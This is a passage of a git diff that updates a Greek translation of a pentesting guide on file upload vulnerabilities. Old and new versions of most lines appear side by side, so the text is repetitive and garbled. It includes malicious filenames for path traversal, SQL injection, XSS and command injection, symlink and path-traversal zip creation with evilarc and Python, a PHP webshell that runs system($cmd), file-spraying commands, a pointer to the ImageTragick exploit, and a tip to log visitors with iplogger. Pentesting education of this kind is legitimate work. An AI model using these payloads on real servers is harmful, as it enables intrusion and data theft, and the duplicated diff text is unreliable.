2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Σημειώστε ότι **μια άλλη επιλογή** που ίσως σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server redirect to a different file**, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και έπειτα το wget θα κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός εάν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα προώθησης με το όνομα του αρχείου που αναφέρεται στο αρχικό URL**.
|
||||
Σημειώστε ότι **άλλη επιλογή** που ίσως σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε διαφορετικό αρχείο**, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και στη συνέχεια το wget θα κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα στην οποία έγινε ανακατεύθυνση με το όνομα του αρχείου που αναφέρεται στο αρχικό URL**.
|
||||
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο να βοηθά Pentesters και Bug Hunters στη δοκιμή μηχανισμών file upload. Χρησιμοποιεί διάφορες bug bounty techniques για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, διασφαλίζοντας πλήρεις αξιολογήσεις web εφαρμογών.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Κάποιοι παλαιότεροι upload handlers που χρησιμοποιούν `snprintf()` ή παρόμοια για να φτιάξουν πίνακες multi-file από ένα single-file upload μπορούν να ξεγελαστούν ώστε να πλαστογραφήσουν τη δομή `_FILES`. Εξαιτίας ασυνέπειας και αποκοπής στη συμπεριφορά του `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά αρχεία με δείκτες στην πλευρά του server, μπερδεύοντας λογικές που υποθέτουν αυστηρή δομή (π.χ. αντιμετώπιση ως multi-file upload και εκτέλεση μη ασφαλών κλάδων). Αν και σπάνιο σήμερα, αυτό το μοτίβο «index corruption» εμφανίζεται περιστασιακά σε CTFs και παλαιότερα codebases.
|
||||
Κάποιοι legacy upload handlers που χρησιμοποιούν τη `snprintf()` ή παρόμοιες για να φτιάξουν multi-file arrays από ένα single-file upload μπορούν να ξεγελαστούν και να πλαστογραφήσουν τη δομή `_FILES`. Λόγω ασυνεπειών και truncation στη συμπεριφορά της `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί σαν πολλαπλά indexed files από την πλευρά του server, μπερδεύοντας λογική που υποθέτει ένα συγκεκριμένο σχήμα (π.χ., θεωρώντας το ως multi-file upload και παίρνοντας unsafe branches). Αν και πιο niche σήμερα, αυτό το pattern “index corruption” περιστασιακά επανεμφανίζεται σε CTFs και παλαιότερες βάσεις κώδικα.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
## Από το File upload σε άλλες ευπάθειες
|
||||
|
||||
- Ορίστε την **filename** σε `../../../tmp/lol.png` και δοκιμάστε να επιτύχετε **path traversal**
|
||||
- Ορίστε την **filename** σε `sleep(10)-- -.jpg` και ίσως καταφέρετε **SQL injection**
|
||||
- Ορίστε την **filename** σε `<svg onload=alert(document.domain)>` για να επιτύχετε XSS
|
||||
- Ορίστε την **filename** σε `; sleep 10;` για να δοκιμάσετε κάποιο command injection (περισσότερα [command injections tricks εδώ](../command-injection.md))
|
||||
- Θέστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε **path traversal**
|
||||
- Θέστε το **filename** σε `sleep(10)-- -.jpg` και ίσως να μπορέσετε να επιτύχετε **SQL injection**
|
||||
- Θέστε το **filename** σε `<svg onload=alert(document.domain)>` για να επιτύχετε **XSS**
|
||||
- Θέστε το **filename** σε `; sleep 10;` για να δοκιμάσετε κάποια **command injection** (περισσότερα [command injections tricks εδώ](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Δοκιμάστε **different svg payloads** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Δοκιμάστε **διαφορετικά svg payloads** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Αν μπορείτε να **υποδείξετε στον web server να πάρει μια εικόνα από ένα URL** μπορείτε να προσπαθήσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **image** πρόκειται να **saved** σε κάποιο **public** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **steal information of every visitor**.
|
||||
- Αν μπορείτε να **δηλώσετε στον web server να πιάσει μια εικόνα από ένα URL** μπορείτε να δοκιμάσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **image** πρόκειται να **αποθηκευτεί** σε κάποιο **public** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/] και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Ειδικά διαμορφωμένα PDFs για XSS: Η [επόμενη σελίδα παρουσιάζει πώς να **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs θα μπορούσατε να προετοιμάσετε ένα PDF που θα εκτελέσει αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
|
||||
- Ανεβάστε το περιεχόμενο του \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) για να ελέγξετε αν ο server έχει κάποιο **antivirus**
|
||||
- Ελέγξτε αν υπάρχει κάποιο **size limit** κατά το ανέβασμα αρχείων
|
||||
- Ειδικά σχεδιασμένα PDFs για XSS: Η [παρακάτω σελίδα δείχνει πώς να **inject PDF data για να αποκτήσετε JS execution**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs μπορείτε να προετοιμάσετε ένα PDF που θα εκτελέσει arbitrary JS ακολουθώντας τις δοσμένες οδηγίες.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Ελέγξτε αν υπάρχει οποιοδήποτε **size limit** κατά το uploading αρχείων
|
||||
|
||||
Ακολουθεί μια top 10 λίστα πραγμάτων που μπορείτε να πετύχετε ανεβάζοντας αρχεία (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Εδώ είναι μια top 10 λίστα από πράγματα που μπορείτε να επιτύχετε ανεβάζοντας αρχεία (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -239,15 +280,15 @@ https://github.com/portswigger/upload-scanner
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Ανατρέξτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
|
||||
Ανατρέξτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλα filetypes.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
Αν μπορείτε να ανεβάσετε ένα ZIP που θα αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
|
||||
Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
|
||||
|
||||
### Symlink
|
||||
|
||||
Ανεβάστε ένα archive που περιέχει soft links (symbolic links) προς άλλα αρχεία, και στη συνέχεια, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα προσπελάσετε τα συνδεδεμένα αρχεία:
|
||||
Upload ένα link που περιέχει soft links προς άλλα αρχεία, και έπειτα, προσπελαύνοντας τα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα linked αρχεία:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -255,23 +296,24 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Αποσυμπίεση σε διαφορετικούς φακέλους
|
||||
|
||||
Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης αποτελεί σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από OS-level command execution μέσω κακόβουλων μεταφορτώσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal του ZIP archive format μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από ασφαλείς καταλόγους ανεβάσματος, χειραγωγώντας τη λειτουργία αποσυμπίεσης της στοχευμένης εφαρμογής.
|
||||
Η απρόβλεπτη δημιουργία αρχείων σε καταλόγους κατά την αποσυμπίεση αποτελεί σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από OS-level command execution μέσω κακόβουλων file uploads, η ιεραρχική υποστήριξη συμπίεσης και οι δυνατότητες directory traversal του ZIP archive format μπορούν να αξιοποιηθούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από ασφαλείς upload directories χειριζόμενοι τη λειτουργία αποσυμπίεσης της στοχευόμενης εφαρμογής.
|
||||
|
||||
Ένας αυτοματοποιημένος exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμος στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
|
||||
Ένας αυτοματοποιημένος exploit για να κατασκευάσει τέτοια αρχεία είναι διαθέσιμος στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το utility μπορεί να χρησιμοποιηθεί όπως φαίνεται:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχευθεί ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.
|
||||
Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως `/flag.txt`, πρέπει να δημιουργηθεί ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.
|
||||
|
||||
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για να δημιουργήσει ένα κακόβουλο zip αρχείο:
|
||||
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου αρχείου zip:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
def create_zip():
|
||||
f = BytesIO()
|
||||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||||
@ -284,11 +326,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Κατάχρηση συμπίεσης για file spraying**
|
||||
**Κατάχρηση της συμπίεσης για file spraying**
|
||||
|
||||
Για περισσότερες λεπτομέρειες **δείτε το αρχικό άρθρο στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Για περισσότερες λεπτομέρειες **ελέγξτε το αρχικό δημοσίευμα στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Δημιουργία PHP Shell**: Γράφεται PHP κώδικας για την εκτέλεση εντολών που περνάνε μέσω της μεταβλητής `$_REQUEST`.
|
||||
1. **Δημιουργία PHP Shell**: Κώδικας PHP γράφεται για να εκτελεί εντολές που περνάνε μέσω της μεταβλητής `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -298,24 +340,24 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
|
||||
2. **File Spraying και Δημιουργία zip αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συγκεντρώνεται ένα αρχείο zip που περιέχει αυτά τα αρχεία.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Τροποποίηση με Hex Editor ή vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας "xxA" σε "../" για να περιηγηθεί σε φακέλους.
|
||||
3. **Τροποποίηση με Hex Editor ή vi**: Τα ονόματα των αρχείων μέσα στο zip αλλάζουν χρησιμοποιώντας vi ή έναν hex editor, αντικαθιστώντας "xxA" με "../" για να διασχίσουν καταλόγους.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
:%s/xxA/..\//g
|
||||
:%s/xxA/../g
|
||||
:x!
|
||||
```
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Ανεβάστε αυτό το περιεχόμενο με επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Ανεβάστε αυτό το περιεχόμενο με μία επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -324,31 +366,31 @@ pop graphic-context
|
||||
```
|
||||
## Ενσωμάτωση PHP Shell σε PNG
|
||||
|
||||
Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες χρήσεις.
|
||||
Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες περιπτώσεις χρήσης.
|
||||
|
||||
Μια αναλυτική διερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
|
||||
Μια λεπτομερής ανάλυση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια εκτενή κατανόηση της διαδικασίας και των επιπτώσεών της.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
|
||||
Τα Polyglot Files λειτουργούν ως μοναδικό εργαλείο στην ασφάλεια, ενεργώντας σαν χαμαιλέοντες που μπορούν έγκυρα να υπάρχουν σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί και ως GIF και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζεύγος· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
|
||||
Τα polyglot αρχεία λειτουργούν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, ενεργώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί τόσο ως GIF όσο και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζεύγος· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
|
||||
|
||||
Η βασική χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που ελέγχουν τα αρχεία βάσει τύπου. Κοινή πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο συγκεκριμένοι τύποι αρχείων για upload — όπως JPEG, GIF ή DOC — για να μειωθεί ο κίνδυνος από ενδεχόμενα επικίνδυνα formats (π.χ. JS, PHP, ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές απαιτήσεις πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει αυτές τις περιοριστικές πολιτικές.
|
||||
Η βασική χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που ελέγχουν αρχεία βάσει τύπου. Συνηθισμένη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο ορισμένοι τύποι αρχείων για upload—όπως JPEG, GIF ή DOC—για να μειωθεί ο κίνδυνος που προέρχεται από δυνητικά επικίνδυνες μορφές (π.χ. JS, PHP, ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές απαιτήσεις πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει σιωπηλά αυτούς τους περιορισμούς.
|
||||
|
||||
Παρά την προσαρμοστικότητά τους, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR file (PHp ARchive) και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτάται από τις πολιτικές επέκτασης αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπτές επεκτάσεις, η απλή δομική διπλότητα ενός polyglot μπορεί να μην αρκεί για να εξασφαλίσει το upload.
|
||||
Παρότι είναι ευέλικτα, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR αρχείο και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτάται από την πολιτική του πλατφόρμας σχετικά με τις επεκτάσεις αρχείων. Αν το σύστημα είναι αυστηρό ως προς τις επιτρεπτές επεκτάσεις, η απλή δομική διπλή φύση ενός polyglot μπορεί να μην αρκεί για να εξασφαλίσει το upload.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON ακόμα κι αν δεν επιτρέπεται, μιμούμενοι ένα PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου φορτώνοντας ένα έγκυρο αρχείο JSON ακόμα κι αν δεν επιτρέπεται, προσποιούμενοι ότι είναι αρχείο PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Εφόσον τα magic bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (βλέπε παράδειγμα από το post)
|
||||
- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι PDF (βλέπε παράδειγμα από το post)
|
||||
- **`file` binary**: Μπορεί να διαβάσει έως 1048576 bytes από ένα αρχείο. Δημιουργήστε απλά ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να το αναλύσει ως JSON και στη συνέχεια μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα νομίσει ότι είναι PDF
|
||||
- **`mmmagic` library**: Όσο τα μαγικά bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (βλ. παράδειγμα στο post)
|
||||
- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι PDF (βλ. παράδειγμα στο post)
|
||||
- **`file` binary**: Μπορεί να διαβάσει έως 1048576 bytes από ένα αρχείο. Δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και μετά μέσα στο JSON τοποθετήστε το αρχικό μέρος ενός πραγματικού PDF ώστε να το θεωρήσει PDF
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -357,6 +399,9 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
|
||||
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
|
Loading…
x
Reference in New Issue
Block a user